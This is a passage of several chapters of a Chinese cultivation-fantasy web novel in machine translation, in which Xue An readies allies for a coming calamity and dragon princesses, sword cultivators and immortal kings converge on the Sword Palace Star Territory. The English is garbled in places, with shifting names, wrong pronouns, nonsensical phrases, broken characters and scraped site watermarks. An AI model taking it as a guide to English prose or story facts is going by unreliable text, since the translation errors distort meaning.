    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    After listening, Yingluo''s eyes began to dim at a speed visible to the naked eye.


    But suddenly, as if she had made up some determination, she suddenly raised her head and said firmly.


    "Teach me the Dharma, I will find a way to save you in three years!"


    Yue Sha was stunned, and then wanted to laugh.


    Because no matter how you listen to it, it is an impossible task.


    But when he saw the fiery and seriousness in Yingluo''s eyes, he couldn''t laugh anymore.


    Then he stretched out his hand to gently stroke Yingluo''s head, and sighed lightly.


    "Fool, why is this Buddha cultivation so simple, and even Xue An can''t do anything about my injuries, let alone you?"


    This time, Yingluo broke free from his hand and said firmly: "Mr. Xue is Mr. Xue. I am me. He can''t find a way. It doesn''t mean I can''t find it. As long as you are willing to teach me, I believe I can do it!"


    Yue Sha couldn''t help being infected by the firmness in Yingluo''s tone, and nodded seriously, "Okay, then I will teach you!"


    "Ok!"


    After the two of them got out of the void, Yue Ji and the others immediately surrounded him, looking at Yue Sha with concern.


    Especially Yue Ji, as a senior, he is naturally very concerned about his junior''s injury.


    Although everything seemed to be normal on the surface, after a closer inspection, Yue Ji''s heart quickly sank to the bottom.


    "Yue Sha..."


    He just wanted to say something, Yue Sha smiled and shook his head at him, then folded his palms, "I have seen brother!"


    Upon seeing this, Yue Jing had to swallow all the words back.


    The storm ended in such an unexpected way.


    But everyone couldn''t relax.


    Everyone already knew about the seal of the bronze gate.


    Originally, there were still six or seven years of breaking the seal, but after this twists and turns, the time was suddenly shortened, and it was only three years.


    This is definitely too bad news.


    Therefore, everyone''s mood has become extremely heavy.


    Only Xue An behaved as usual, and called Yue Jing and Maitreya to his side.


    "Master!" Everyone shook their hands.


    Xue An nodded slightly, and then said faintly: "Since this has happened, you don''t have to worry about it all day. It''s just that the time has advanced a little bit. I have my own measures."


    Having said that, the atmosphere of everyone is still slightly dull.


    At this time, Xue An turned his head and said to Yue Ji: "Yue Ji!"


    "Subordinates are here!" Yue Jing immediately took a step forward.


    "From now on, you will integrate the strength of the Pure Land Buddha Kingdom, and at the same time harvest the medicinal fields, and make all preparations before the war, understand?"


    Yue Jing''s expression was solemn, "Understood!"


    "Cheng Hao!"


    Captain Fire Phoenix, who followed Xue An out of the earth and has been rooted here for several months, immediately stepped forward and said: "Instructor!"


    "You lead the Fire Phoenix and monitor the seal around the clock. If there is any change, I will report it immediately, understand?"


    With that, Xue An threw a talisman seal over it. Through this talisman seal, even if Xue An was not in the Pure Land Buddha Kingdom, Cheng Hao could still send the message in time.


    Cheng Hao immediately stood at attention after receiving Fu Zhuan, and then shouted: "Instructor rest assured, promise to complete the task!"


    "Mille!" Xue An shouted again.


    Maitreya also immediately stepped forward, "Master!"


    "You lead the people of Tantric Buddhism who are responsible for defending the Pure Land Buddha Kingdom. If anyone with bad intentions approaches, kill them without mercy!"


    "Yes!" Maitreya took the order without hesitation.


    In an instant, the entire Pure Land Buddha Kingdom became boiling under Xue An''s orders.


    Yue Qinghuan, who was watching coldly all the way, couldn''t help but secretly nodded.


    Because every step that Xue An arranged was just right, it not only wiped out the pessimistic atmosphere that originally pervaded the Pure Land Buddha Kingdom, but also mobilized everyone''s fighting spirit.


    Based on this alone, it surpasses many powerful people who have nothing but do not know how to plan.


    She deserves to be greatly appreciated by that lazy cat, it seems that this girl is not in vain!


    Just as Yue Qinghuan was thinking to herself, Xue An turned his head and looked at her.


    That kind of weird gaze made Yue Qinghuan a little bit cold, and couldn''t help but step back for a while, "What do you think of me for?"


    Xue An smiled slightly, "Don''t do anything, I just want you to help!"


    "Help?" Yue Qinghuan immediately shook his head, "Impossible, I said before, I''m just a bystander, so I will definitely not intervene in this matter!"


    "Don''t worry, you don''t need to intervene in this matter, just borrow your ability to travel through the void!" Xue An said lightly.


    "That won''t work either." Yue Qinghuan once again categorically refused, "Anything that violates principles, I will not do it."


    "Oh?" Xue An raised his eyebrows slightly, "Well, then, can''t just hurry?"


    "No!"


    Xue An laughed, "I think you''d better think about it in advance."


    "Don''t think about it, it definitely won''t work, you..."


    Before Yue Qinghuan''s words fell, she saw Xue An suddenly step forward, came to her, and looked at her condescendingly.


    Yue Qinghuan frowned slightly, just about to move away, but he did not expect that Xue An suddenly leaned down, UU reading www.uukanshu. com said lightly in her ear.


    "Since you said you should not intervene in this matter, why did you tell me the origins of the evil thing before and secretly remind me that its goal is the Pure Land Buddha Kingdom?"


    This sentence made Yue Qinghuan''s extremely beautiful lavender eyes condensed slightly, and immediately said: "When did I remind you? I just thought it was fun, so I told a story!"


    "Oh?" Xue An''s mouth raised a dangerous smile, "Is that really the case?"


    Somehow, after seeing the smile on Xue An''s face close at hand, and smelling the faint fragrance of green grass on his body, Yue Qinghuan''s heartbeat could not help but speed up a little.


    But she still strongly denied: "Yes, that''s it!"


    "Then your story is just right. It not only reminds me that this evil thing is a projection sent into the past, but also deliberately guided me that its goal is the Pure Land Buddha Kingdom."


    "So if I''m not wrong, the forces represented by these evil things must be hostile to you, right?"


    Yue Qinghuan didn''t say a word, and only after a long time did he say: "So what?"


    "Not so, but I always believe that the enemy''s enemy is a friend, so since our goals are the same, why don''t we help each other?"


    Yue Qinghuan raised his head and looked at Xue An with a meaningful smile on his face, and finally sighed slightly.


    "Well, I can help you on the way, but you remember, this is just a little help between friends, other than that, I will not end up helping you deal with these guys!"


    "Don''t worry, I won''t agree with you even if you want to end, because these evil things...must die in my hands!"


    When he said this, an extremely dangerous light flashed in Xue An''s eyes.

 Chapter 2108： Dark Master

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    And when Xue An was talking to Yue Qinghuan, Zhou Daniu and Zou Sui in the distance also saw this scene.


    Zou Sui couldn''t help but bared his teeth, "Hi, who is this girl? Why are you so close to the instructor?"


    Because from their perspective, Xue An, who bowed his head down, seemed to be whispering to Yue Qinghuan, both posture and attitude were full of ambiguity.


    Zhou Daniu gave a light cough, then lowered his voice: "Shhh, keep your voice down. This lady came with the instructor. Be careful to be heard by her."


    "Come here with the instructor?" Zou Sui''s eyes gradually widened. "Does the madam know?"


    Zhou Daniu scratched the back of his head, and said somewhat naively: "I don''t know if Madam does."


    Zou Sui''s face couldn''t help showing a weird smile, "Hey, this is actually understandable, after all, are they all men? Besides, this little lady is so watery again..."


    Before he could say anything, he was struck **** the head.


    Zou Sui was startled, turned his head and looked, only to see Xue An standing behind him looking at himself.


    Zou Sui shrank his neck in fright, rubbing his hands in embarrassment, "Teach... instructor..."


    Xue An said indifferently: "You can understand what is meant by a man? You can explain it to me."


    Zou Sui''s forehead oozes cold sweat at the time, "Uh...this...this..."


    After this for a long time, Zou Sui did not say why, and his face flushed anxiously.


    "It''s best to think about it when speaking later, and don''t talk nonsense if you don''t understand the truth, otherwise it will be easy to get into trouble, understand?"


    Zou Sui was sweating, and immediately bowed his head and said, "Yes, my subordinates understand!"


    Xue An nodded, then turned and left.


    After he left, Zou Sui wiped the cold sweat from his forehead and let out a sigh of relief.


    Although Xue An did not criticize him in any way, the invisible pressure still made him unbearable.


    Without him.


    Xue An is really too powerful.


    With the gradual recovery of strength, unknowingly, Xue An''s every move contains extremely strong power, and even a casual question can cause the general strong to collapse immediately.


    The prestige of Xianzun has already faintly emerged.


    Yue Qinghuan naturally saw this scene, and after Xue Anzhe returned, Yue Qinghuan couldn''t help but chuckle.


    "It seems that your subordinates are very afraid of you!"


    Xue An glanced at her and said lightly: "You don''t seem to be in a hurry?"


    "In a hurry? Why should I be in a hurry?" Yue Qing smiled like a Persian cat who succeeded in stealing fish.


    "And I see you quite pleasing to the eye now, so they just say what they want, and I''m not at a disadvantage!"


    Xue An: "..."


    Then he said helplessly: "Okay, stop talking nonsense, first go back to the Sword Palace Star Territory!"


    Yue Qinghuan smiled, and suddenly grabbed Xue An''s wrist, "Okay, then let''s go now!"


    When the words fell, the two disappeared in place.


    And at the same moment when Xue An hurried back to the Sword Palace Star Territory, in the depths of the distant starry sky, there were also two people rushing on their way.


    But unlike the brilliance of ordinary monks on the way, these two people are like two phantoms, sneaking silently in the dark void.


    Wherever he went, he did not stir up any waves.


    Not only that, but the boundless darkness seemed to be welcoming its own king, cheering and separating to the two sides, surrounded by the two figures moving forward quickly.


    Suddenly.


    The two figures stopped at once.


    Then he heard a majestic male voice, "Mengxue, what''s wrong?"


    The woman marching in front finally showed her figure in the darkness, and she saw that she had picturesque brows and a cold expression, who could not be Fan Mengxue.


    It''s just that Fan Mengxue now has many differences from the previous industry.


    The first is her eyes.


    Back on the earth, when the five great immortal kings such as Hu Ye Ye Hanshang and others were inextricably fought with the invading Five Elements Evil Emperor and Shang Liang, Fan Mengxue was only a strong leader of the highest level of Luo. That''s it.


    But only for a few years, Fan Mengxue succeeded in taking that step with the supreme posture, from the peak of Da Luo straight into the realm of the fairy king.


    At this moment, her eyes were as deep as the sea, as if they had included the boundless and vast darkness. People with weaker powers just looked at it and couldn''t help sinking into it, and could no longer extricate themselves.


    This is the expression that her Dark Holy Emperor has already cultivated to a very high level, and even the dark air has filled her eyes.


    It is no exaggeration to say that the current Fan Mengxue''s strength has far surpassed the demon **** who founded this dark holy emperor.


    At this point, Fan Mengxue truly became a veritable dark princess, the unquestionable king.


    The person who had just questioned was Fan Mengxue''s master, the Tianzhana who is in charge of the dark paradise lost.


    It''s just that now, his strength is even slightly inferior to Fan Mengxue.


    That''s why he lags behind Fan Mengxue a full position when he is on the way.


    The reason is that Tianzhe Na was imprisoned by the Lord of the Abyss for too long ~ www.novelhall.com ~ Although Xue An was successfully rescued later, the power of the source was inevitably damaged.


    This also caused his strength to decline instead of increasing, and now he just barely maintained in the realm of the fairy king without falling.


    Nevertheless, after hearing the question from Master, Fan Mengxue did not show any negligence, but stood with her hands very respectful, and then said softly.


    "Master, in the void thousands of miles away, there are many people who are marching. If they pass directly, they may run into them, and I don''t know whether these people are friends or enemies, so I stopped first."


    Hearing this, the sky covered the light for a while, and the divine thought spread along the darkness.


    really!


    There are indeed many auras in the void thousands of miles away, but after feeling it for a while, Tianzhe smiled.


    "Don''t worry, these people''s breath contains sharp sword intent. They should all be sword repairers. If I''m not mistaken, they should also go to the sword palace star field."


    Hearing this inference from Master, Fan Mengxue couldn''t help but nodded, and then asked: "Then shall we take a break here for a while or just go over?"


    "Since they are all going to the Sword Palace Star Territory, they will have to fight together in the future, so let''s go and say hello!" Tianzhe said solemnly.


    "Okay!" Fan Mengxue didn''t hesitate when she heard the words, and then flew up and hurried forward.


    Seeing his apprentice''s piety, Tianzhuna couldn''t help but sighed, and then followed him.


    The reason why he wanted to go is not only to say hello, but more importantly, to make Fan Mengxue appear in front of everyone more, so as to expand her reputation and influence.


    After all, in Tianzhuna''s mind, Fan Mengxue was already the next Lord of Paradise Lost, and the ruler of darkness.

 Chapter 2109： Young Jian Xiu met a girl

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    But now although Fan Mengxue has the strength, his prestige is still seriously insufficient, so he wants to expand Fan Mengxue''s influence as much as possible.


    Looking at it now, Fan Mengxue is obviously lacking in interest in all this.


    In fact, it wasn''t just that he was not interested in these so-called prestige or status. Tianzhe Na discovered that after he was on the earth, Fan Mengxue had spent the rest of his time practicing like a walking dead, without any interest or hobby.


    This is why he just sighed.


    The distance of tens of millions of miles is just a flick of a finger for a strong like Fan Mengxue and Tianzhe.


    Soon, a mighty fleet appeared in the void ahead.


    What makes up this fleet is a starship of various shapes.


    These star boats are large or small, but without exception, they are all very magnificent, and some of them are even exaggerated to the point of ridiculous.


    Seeing this scene, Tianzhe couldn''t help being stunned.


    Because in his impression, sword repairers generally do not ride in the star boat, and no matter where they go, they will only walk with one sword and one sword.


    How come these sword repairs are just the opposite, not only riding in the star boat, but also riding in such a majestic and majestic manner?


    At the moment when Tianzhan was stunned, the fleet had also spotted their master and apprentice, and could not help but stop slowly.


    Then the people in the star boat could see through the porthole the appearance of Fan Mengxue standing in front.


    It was quiet at first, and then extremely enthusiastic cheers and discussions broke out in the public communication channel of this fleet.


    "Gosh, I''m not mistaken, there is such a beautiful woman in the world?" Someone exclaimed and lost his voice.


    "Mine, fortunately I came out this time, I really opened my eyes!" The speaker almost drooled.


    "Tsk tsk, how come such a little lady of the water spirit suddenly appeared here? Could it be for someone between us?" Someone wondered.


    "Don''t doubt, this girl must have come here specially because she admires this young master''s peerless elegance!" Someone said with a smile, her voice full of arrogance.


    "Bah, you upstairs are really shameless, but are you still outstanding?"


    "I have a showdown. This little lady is my distant cousin. We signed a marriage contract when we were young. This time, it must be to find me to fulfill the marriage contract."


    "A paranoia is found upstairs!"


    "I admit that she is indeed very beautiful, but my brother is a man she will never get."


    For a time, all kinds of discussions were everywhere!


    But none of these people noticed the mighty power of Fan Mengxue''s body, but treated him as an ordinary monk, talking unscrupulously.


    But what they didn''t know was that their public contact channel had actually been cracked when Fan Mengxue first appeared.


    Therefore, every word they said, Fan Mengxue heard clearly.


    Listening to the "unbridled" discussion of these guys, Fan Mengxue''s mouth gradually raised, revealing a wistful smile.


    But just such a smile made the whole fleet boil again.


    "Oh my god, she smiled at me!"


    "Fart, that''s laughing at me!"


    "This smile... which cadre can stand it!"


    "Damn, people are really maddening than people. As a woman, I can''t help but feel moved, let alone a man!" Some women sighed even more.


    Just as the fleet was boiling over, but seeing a flash of brilliance in the leading starship, then a sword of light flew to Fan Mengxue''s approach.


    After he showed his figure, he was a handsome young man wearing a pale blue gown with a sword hanging from his waist.


    He smiled politely at Fan Mengxue, then clasped his fists and said warmly, "I have seen a girl in Tao Zhuxing, the young master of the Bamboo Sword School!"


    As soon as he appeared, the public communication channel of the fleet couldn''t help but felt another sorrow.


    "It''s Lao Tao again, shit, this time you can''t let him get on the board first!"


    "Yes, this kid is so thick-skinned, second only to that kid Ye Kongming. If this is succeeded by him, wouldn''t our brothers all stare?"


    With the noise of the drums, but seeing the swords of light in these star boats, a young talent with a name or a supernatural power or an inner divine light flew to Fan Mengxue one after another.


    "In the next Ding Xiaochen, the big disciple of Chenguangshan, I have seen a girl!"


    "Under Gu, I have seen a girl..."


    This group of people bowed to Fan Mengxue one after another, and some of them looked at Fan Mengxue with undisguised ardent eyes.


    Fan Mengxue couldn''t help frowning slightly, then quietly stepped back for a while, and nodded slightly as a response.


    Other than that, she said nothing, and the atmosphere fell into embarrassment instantly.


    Tianzhe couldn''t help but sighed when he saw it, and then took a step forward, and said in a deep voice: "I think you and others are all Sword Cultivators, are you going to the Sword Palace Star Field?"


    It has to be said that although Tianzhana''s cultivation has stagnated in recent years, it still exists as if it were high mountains to these young sword repairers.


    Especially the aura of anger and self-prestige on his body made this group of people even more serious.


    Tao Zhuxing, the young master of the Bamboo Sword Sect who appeared first, said in a deep voice: "That''s right, senior, I was invited by a friend to go to the sword palace star field!"


    "Oh? My friend, who is UU Reading ?" Tianzhe asked nonchalantly.


    Because his gaze was so venomous, it was almost just a glance at the situation of the young people.


    Among them, the strongest is only Daluo. This kind of strength can be considered very good outside, but it is not enough to put it in the upcoming catastrophe.


    So he was very curious who had invited such a bunch of young sword repairers.


    Tao Zhuxing immediately said: "It''s the big brother I''m waiting for, Ye Kongming!"


    "The night sky is bright?"


    "Yes, his grandfather is the old man washing sword!"


    "Oh!" Tianzhe suddenly said, "It turns out to be Ye Bufan''s descendant!"


    After that, he looked at the group with a smile.


    "What are you going to do in the Sword Palace Star Territory?"


    Tao Zhuxing''s expression was serious, and he said in a deep voice: "I''m waiting here. I will naturally slay demons and slay demons and fight the coming catastrophe together!"


    "Yes! I heard that there is a blindfold who wants to invade the heavens. How can I tolerate this? I must let these blindfolders see the sword in my hand!"


    There was a clamor from the teenagers.


    Tianzhe originally wanted to laugh a little, but after seeing the serious expressions of these teenagers, he suddenly couldn''t laugh.


    Because of this attitude, isn''t it exactly what a young man should be spirited?


    Even Fan Mengxue on the side changed slightly.


    "But I don''t know the name of the predecessor and the name of this girl?" Tao Zhuxing asked again.


    Tianzhuna laughed, "My name is Tianzhuna, this is my apprentice, her name is..."


    Tianzhe turned his head and glanced at Fan Mengxue.


    Fan Mengxue''s complexion gradually calmed down, then she lowered her eyes and said lightly: "Fan... Wangan!"

 Chapter 2110： All parties gather lv one

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Hearing this name, Tianzhe was taken aback for a moment before Xuan Even sighed slightly.


    This Tao Zhuxing''s eyes lit up, "Fan Wangan... a poetic name, then dare you to ask Miss Fan''s age?"


    After that, Tao Zhuxing looked at Fan Mengxue with fiery eyes, and tried his best to show his gentleness.


    But Fan Mengxue didn''t move anything about it. He didn''t even look at Tao Zhuxing. Instead, she turned her head and said to Tian Zuna: "Master, if there is nothing wrong, I will go to the Sword Palace Star Territory first."


    After that, she turned and left.


    This almost ignorant attitude made Tao Zhuxing very embarrassed, and he was a little overwhelmed to stand still.


    When Tianzhe saw this, he couldn''t help but sighed, and then said: "Disciples, let''s go together. Anyway, I will be an ally in the trenches in the future, I have to get to know!"


    Fan Mengxue stopped immediately, then nodded, "Yes!"


    But other than that, she no longer had any words or expressions, but stood on the side like an iceberg.


    Tao Zhuxing tried to talk to each other several times, but after seeing Fan Mengxue''s face full of strangers, he finally ran away.


    Tian Zhai couldn''t help but smile a little bitterly when he saw this, then secretly shook his head.


    His original intention was good, and he wanted Fan Mengxue to have more contact with these young talents, so as to play down the obsession in her heart.


    But looking at the performance now, this idea is obviously lost.


    In desperation, he had no choice but to nod to this group of sword repair boys, "Let''s go!"


    The group of people headed for the sword palace star field mightily.


    And at the same moment, at the other end of the void, there was also a team moving fast.


    It''s just that this team is different from the average team, and the momentum is much greater.


    Because in this team, the ones responsible for pulling the wheels are actually giant dragons.


    That''s right.


    It is a dragon with a length of several thousand feet.


    I saw these giant dragons biting the reins, dragging a huge chariot that looked like a city, and flew forward rumblingly.


    Wherever he went, there was a real power of change.


    now.


    In this chariot, Ao Qing, the princess of the dragon clan, sits in the center, and sitting opposite her is his sister, the second princess Ao Yi.


    The two sisters were relatively speechless, Ao Yi lowered his head and fiddled with a brilliant pearl, and the whole hall was quiet and terrifying.


    It was not until a long time later that Ao Qing suddenly said, "How far is it?"


    "There is still one day away." Ao Yi replied.


    "I heard that the people from Qingqiu Fox Country have arrived." Ao Qing said suddenly.


    As soon as he said this, Ao Yi''s fingers trembled slightly, and the beads fell to the ground in an instant, and then he rolled out a long way.


    "So what? What does it have to do with me whether those foxes come?" Ao Yiwu said stiffly.


    "Haha!" Ao Qing chuckled, "It''s not so good, but since the people from Qingqiu Fox Country are here, then someone''s favorite must have arrived, otherwise why would someone be so excited?"


    These words caused Ao Yi''s face to turn red at a speed visible to the naked eye, but he still refused to admit it, "Sister, you nonsense, how can I be excited?"


    "I''m talking nonsense, who was it that secretly tried on the wedding gown last night?"


    "Oh, are you peeking at me?" Ao Yi''s face flushed to the base of his neck.


    Ao Qing smiled, "It''s not a peek, I just happened to see it!"


    "Doesn''t that still mean something?"


    The two sisters laughed for a while, and then Ao Qing said seriously: "Sister, when I was in Qingqiu Fox Country, the nine-tailed fox Zuhuhuan personally promised you to marry Fox Ye, but because of the time. It was too hasty, so I waited before returning to my ancestral land to raise the wedding for you."


    "Originally everything was ready, even your wedding clothes were ready, ready to hold the wedding, but I didn''t expect such a thing to happen suddenly."


    "Seeing the great calamity of the heavens is approaching, it is natural for me to wait for the dragon clan to be responsible, but your marriage can''t be delayed, so I ordered someone to bring the dowry along with me on this trip, just to bring you and Huye into marriage as soon as possible. Do you know?"


    As Ao Qing said, during this trip, the Dragons not only moved out all the elite families, but also brought a generous dowry.


    In order to take advantage of this highly anticipated opportunity, Ao Yi and Huye''s marriage can be handled.


    Ao Yi blushed and nodded, "Well, I know all of this."


    "Very well, just know it! It stands to reason that you are a well-deserved palace after you marry Fox Ye, but the heart of Fox Ye is helpless, and the mortal woman with the blood of the blue bird is also difficult, so after you marry you This temperament has to be restrained, it should not be so arrogant anymore. You must pay attention to strategy in everything, understand?"


    Ao Qing tried to persuade her, for fear that her sister would be wronged because of her character after she married.


    Ao Yi was a bit disapproving about this, "Alright sister, don''t worry, I am not a three-year-old kid anymore, and Rou''er is just an ordinary person no matter how good it is. Can I still be afraid that she will fail?"


    "Of course I know that you will not be afraid of her, but you must remember that if you want to catch the heart of a man like Fox Ye, you must pay attention to strategy. UU reading will only be counterproductive. Huh?" Ao Qing said helplessly.


    Ao Yi nodded at this, "Well, I know it is."


    "You, just don''t let me worry, just like the third sister..."


    The expressions on Ao Qing and Ao Yi''s faces became sad when they mentioned the third sister.


    "Is there no news from Shuer?" Ao Yi said softly.


    Ao Qing shook her head, "I have sent countless people, and I have searched through the entire heavens, but there is still no news!"


    "Huh, I blame Xue An for his chaos and abandonment. That''s why the injured Shuer abandoned the book and left." Ao Yi said bitterly.


    Ao Shu, the Princess of Longsan, had deep roots in Xue An at the beginning, but she did not expect that Xue An would have family members after she returned from rebirth. Unable to accept the reality, she eventually left the book and left, and has not found it until now.


    Ao Qing sighed softly when he heard the words, "In fact, this can''t be blamed on Mr. Xue. The so-called falling flowers deliberately flowing water and ruthlessly, this is not something that can be forced.


    "That''s what I said, but I still think that Xue An has done a little too much." Ao Yi was still a little bit angry.


    "Okay, now that the great calamity of the heavens is approaching, Mr. Xue has stepped forward to integrate the forces of all parties, intending to turn the tide, not to mention anything else, this heroism alone is not comparable to others, so I wait for the dragon race now All we can do is to support him unconditionally, without the slightest bit of resentment."


    "I understand this. It''s a pity that my stupid girl, I don''t know where she is now!" Ao Yi sighed lightly, his face full of gloom.


    And it was at this moment that the car that was moving at high speed suddenly stopped, and then he heard a gentle male voice in front of him.


    "Dare to ask, but is it the princess of the dragon clan? Ye Hanshang, the ghost world, it''s polite here!"

 Chapter 2111： All parties gather lv two

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Hearing this voice, the eldest princess Ao Qing and the second princess Ao Yi couldn''t help being stunned.


    Immediately afterwards, a faint smile appeared on Ao Qing''s face.


    "Ghost King Ye Hanshang, I didn''t expect to meet him here!"


    With that, Ao Qing stood up, tidyed up her clothes, and said solemnly: "Come with me outside!"


    "it is good!"


    When the words were over, the two sisters had already flown out of the chariot and arrived before the void.


    really.


    A group of people stood in the void not far from the chariot.


    The leader is a man wearing a lavender shirt, handsome and extraordinary, and surrounded by extremely powerful power.


    It was the Mingjun Ye Hanshang who hadn''t seen his face since the earth''s farewell.


    Behind him stood Ksitigarbha Bodhisattva Jinjue in the alchemy **** and Meng Yao, the master of exorcism.


    After seeing them, Ao Qing couldn''t help but secretly startled.


    Because she and Ye Hanshang only had a relationship, but she didn''t expect that after seeing it again now, Ye Hanshang''s strength has actually reached such a terrifying point.


    The imposing aura of the immortal king is almost overflowing, and the monk standing behind him is even more golden and like a sea, just like a big bodhisattva above invisibly.


    Such a combination is enough to shake a star field.


    But immediately Ao Qing stabilized her mind, and then stepped forward and said in a deep voice, "Ao Qing, I have seen Master Mingjun!"


    Ye Hanshang laughed and quickly returned a gift, "The princess is too polite, I just happened to pass by here and saw the princess''s car, so I just said hello."


    Having said that, Ye Hanshang''s eyes still involuntarily floated to the side of Ao Yi.


    After feeling Ye Hanshang''s curious gaze, Ao Yi couldn''t help but sighed secretly, and then bit his scalp and stepped forward and said: "Long Er Ao Yi, I have seen Mingjun!"


    Ye Hanchang couldn''t help but smile more, and then nodded, "You are welcome, the second princess, we will be a family in the future!"


    These remarks are very ambiguous.


    At least Ao Qing didn''t know why.


    Ye Hanshang seemed to feel her doubts, and couldn��t help but smile and explain: ��Don��t get me wrong, I mean, didn��t the second princess have a marriage contract with Huye? And I happened to have a good relationship with Huye, so I will One family!"


    Ao Qing suddenly came across.


    She did hear people talk about it.


    In fact, although Hu Ye has a wide range of friends, it seems that he can get along with anyone.


    But there are only a few people who can truly call them friends.


    Xue An must be counted as one, and Ye Hanshang is also included.


    "Master Mingjun is also going to the Sword Palace Star Territory?" Ao Qing couldn''t help asking.


    Ye Hanshang nodded, "That''s right! Old Xue personally ordered the call, how dare I not go?"


    In fact, Ye Hanshang, who was guarding in the alchemy hell, didn''t delay even a moment after receiving Xue An''s summoning order, and immediately began to clean up.


    But the reason why he came now is because he not only came by himself, but also put the alchemy **** together and brought it over.


    This is because this alchemy **** is now a super artifact level existence.


    In the coming catastrophe, he will definitely be able to exert a lot of power.


    "If that''s the case, then I''ll go together and go together!" Ao Qing said.


    "Okay, it''s not far away anyway, and it looks lively when we go together!" Ye Hanchang said with a smile.


    So Ye Hanshang and the others boarded the dragon clan''s carriage and galloped towards the sword palace star field.


    At the same time, Tianzhe''s master and apprentice and this group of sword repair youths finally arrived.


    In fact, the people who came to the Sword Palace Star Territory had reached a new peak in recent days.


    There are countless strong people coming every day, for no other reason, but for the coming great calamity of the heavens.


    The night sky Ming, who is in charge of reception on the outside, has been busy recently, but this feeling of being reused has also fascinated him.


    Until he saw this group of young sword repairers coming in mighty.


    "Oh, okay, Xiao Ming, he''s doing a good job, he''s actually an envoy!"


    "Yeah, it''s really an old sow with a straw hat, it''s kind of interesting!"


    This group of young sword repairers got off the star boat and began to clamor.


    Especially Tao Zhuxing and other people who are most closely related to Ye Kongming, who surrounded Ye Kongming. You punched me and beat me so affectionately.


    Ye Kongming could only smile helplessly at this, but he was very touched that the group of good friends arrived without fail.


    "Fuck, you guys are also a sword repairer anyway, why are you talking so vulgar?" Yekong scolded with a smile.


    At this moment, Tao Zhuxing gently tugged the night sky brightly, then winked at the distance.


    Ye Kongming looked up, and the first thing he saw was Fan Mengxue standing there.


    There is no other reason, it is really cold and beautiful Fan Mengxue is too eye-catching.


    During the time in the Sword Palace Star Territory, although Ye Kongming had changed a lot, there was still a little bit of madness in his bones, so after seeing Fan Mengxue, he couldn''t help but subconsciously said.


    "I''ll wipe it, Lao Tao, how can you find such a beautiful girl?"


    As soon as the voice fell, Fan Mengxue raised her eyes and glanced over here.


    It was this look that caused Yekong Ming to swallow all the words behind him and then Tianzhe walked up with a smile, "Brother, are you in charge of the reception?"


    Even though Ye Kongming didn''t know Tianzhuna, he could guess that he was definitely an expert from outside the world from the aura of him, so he said in awe.


    "Yes, dare to ask the name of the predecessor, so I can inform it!"


    But Tianzhuna chuckled lightly at this moment, then turned his head to look into the distance, and said lightly: "No need, someone should pick it up in a while!"


    Following the voice, I only heard the rumbling sound coming from the distant void, and then I saw the dragon palace chariot dragged by dozens of dragons appearing in front of everyone.


    This extremely shocking scene stunned everyone.


    "Fuck, so many dragons, who is this?" Someone couldn''t help but exclaimed.


    When the words were over, the dragon palace chariot rushed to the front, and then Ao Qing, Ao Yi, Ye Hanshang and others floated down from it.


    The smile on Tianzhe''s face couldn''t help but grow stronger, and then said loudly: "Little Ye Zi, you came late enough!"


    Ye Hanshang had already noticed Tianzhana, and smiled when he heard that, "God, you still say me, it''s not too early for you!"


    With the laughter, the aura around the two people grew stronger, and the power of the two immortal kings shocked the entire void.


    "My trough, this predecessor turned out to be the Immortal King Powerful!" Tao Zhuxing whispered with shock on his face.


    As soon as the voice fell, a loud laugh came from the Sword Palace Star Territory, "Hahahaha Little Apiao, my god, let''s meet again!"


    As he spoke, a brilliance flashed by and Fox Ye appeared in the field.


    But the next second, the smile on his face solidified.


    Because at this moment, he saw Ao Yi, Princess Long Er, who was standing not far away.

 Chapter 2112： 2 Womens Shura Field

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "Two...Second princess, why are you here?" Hu Ye said in astonishment.


    "Why? Can''t I come? Or...you don''t welcome me to come?" Ao Yi walked slowly to the front of Fox Night, and said with a smile.


    As soon as these words came out, everyone who was closer to Fox Night felt an inexplicable chill.


    The look on Hu Ye''s face was even more embarrassing, "Uh, you misunderstood the second princess, I didn''t mean that, I just...just..."


    "Just what?" Ao Yi asked, standing in front of Hu Ye, tilting his head.


    At this moment, Ao Yi, where there is still the slightest bit of domineering, beautiful face coupled with her gentle tone, actually gives people a very shy feeling.


    But it was this feeling that made Hu Ye''s hair creepy.


    Because he knows the second princess too well.


    Usually when she laughs like this, it must be fine.


    really.


    When he saw Hu Ye speechless, the smile on Ao Yi''s face gradually narrowed, and her eyebrows raised, "Huh? Didn''t you hear me? Or did you deliberately ignore me?"


    "Cough cough..." Ye Hanshang on the side suddenly coughed, and then pointedly said to Tian Zuna: "Oh my god, I suddenly want to start, let''s go to the sword palace star field!"


    Tianzhe understood it, and immediately nodded and said, "Yes, I just happen to have something wrong, so go and go together!"


    With that, the two of them have to go inside.


    At this moment, Ao Qing, who had been silent by her side, suddenly sighed slightly, and then said lightly: "Two, let''s stay first!"


    Ye Hanchang and Tianzhe stopped then.


    Then Ao Qing turned to look at her sister, and said in a cool tone: "Yier, have you forgotten what I said to you before?"


    As soon as these words came out, Ao Yi, who was already aggressively questioning Fox Ye, immediately understood what, and his attitude immediately became gentle.


    "Hehe, look at your dumbfounded look, I''m having fun with you."


    But Hu Ye wiped the cold sweat on his forehead, looking helpless.


    Although Ao Yi said so, he didn''t have the slightest sense of lightness in his heart, because no one knew what this woman whose brain circuit was completely different from ordinary people thought.


    And she suddenly appeared here, which originally made Hu Ye a little alert.


    Could it be that she came for the marriage contract?


    Huye''s heart was full of doubts.


    At this moment, only a loud laugh came from the sword palace star field.


    "I said why the right eyelid always jumps today. It turns out that it is the future daughter-in-law who came!"


    As he spoke, Huhuan with a tired face appeared in the field, followed by an unlovable Huan behind him.


    He said that he was following, but he was actually dragged by Hu Huan. To put it bluntly, Hu''an is like a pendant on this inconspicuous master, and he takes it with him wherever he goes.


    But there is no way, who makes Hu Huan''s identity and strength there.


    So as soon as he appeared, whether it was Ye Hanshang or Tianzhuna, including Ao Qing, they all gave salutes.


    Especially the second princess of Dragon, gave a salute to the fox �u�u, "I have seen Master Fox Ancestor!"


    Fox Huan babbled his teeth, and then nodded, "The daughter-in-law does not need to be so polite. I will be a family from now on, just call my ancestor."


    Everyone: "..."


